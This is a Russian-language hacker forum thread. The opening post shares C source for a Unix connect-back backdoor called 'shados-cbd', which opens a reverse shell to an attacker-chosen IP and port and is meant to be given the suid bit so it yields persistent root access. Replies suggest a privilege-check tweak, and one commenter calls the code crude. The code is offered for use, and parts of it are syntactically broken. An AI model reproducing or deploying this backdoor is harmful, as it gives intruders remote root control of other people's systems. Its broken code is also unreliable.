Вот написал connect-backdoor для *nix систем на досуге. Если есть права root, то для использования необходимо поставить suid-бит, используя команду chmod. Т.о. бекдор при однакратной установке suid-бита даёт нам рутовый connect-backdoor. Code: //shados-cbd v0.1 //usage: cbd ip_addr port //set suid bit for rootshell //compile: gcc shados-cbd.c -o shados-cbd #include<stdio.h> #include<string.h> #include<stdlib.h> #include<arpa/inet.h> #include<netinet/in.h> #include<sys/types.h> #include<sys/socket.h> #include<sys/wait.h> #include<unistd.h> #include<errno.h> #define SHELL "/bin/bash" int main(int argc , char *argv[]) { int st; int sockfd; int sock_len; pid_t bind_sh; struct sockaddr_in att; if (argc != 3) { printf("usage: %s ip_addr port\n",argv[0]); exit(0); } att.sin_family = AF_INET ; att.sin_port = htons(atoi(argv[2])); if (inet_aton(argv[1] , &att.sin_addr) == 0) { perror("Invaild ip-address"); exit -1; } sock_len = sizeof(att); if ((sockfd = socket(PF_INET , SOCK_STREAM , 0)) < 0) { perror("Socket creation faild"); exit -1; } if((bind_sh = fork()) == -1) { perror("Cannot open new process"); exit -1; } else if (bind_sh == 0) { if(connect(sockfd , (struct sockaddr*)&att , sock_len) == -1) { perror("Connection error"); exit -1; } if((dup2(sockfd, 0) == -1) || (dup2(sockfd, 1) == -1) || (dup2(sockfd, 2) == -1) || (dup2(sockfd, 3) == -1)); if geteuid() { setreuid(0,0); setregid(0,0); } } execl(SHELL , SHELL , NULL); } else { wait(&st); /* kinda useless but safe */ } return 0; } P.S. Пьянству бой. Опять в зюзю.
Эт как?) И вообще имхо нужно сделать элементарную проверку прав, чтоб каждый раз не комментировать\раскомментировать строки. mod: Можно и без проверки, просто запихнуть использование setreuid(0,0); и setregid(0,0); в отдельный параметр, т.е. будет не cbd ip port, а cbd ip port rights. Ну вариантов много =)
Спасибо за идею: добавляем Code: if geteuid() { setreuid(0,0); setregid(0,0); } Комменты поощряю ибо писалось на коленке и быстро. Все ваши пожелания постараюсь учесть.
вообще не думал, что человек который модули ядра с руткитами и много другого поинтереснее пишет пойдет в степь хакерских шеллов даже без поддержки псевдо-терминального устройства. короче fork()/dup()/exec()/ подозрительно - либо это "релиз" многолетней давности который нет смысла выкладывать либо хз что - аккаунт шадоуса взломали.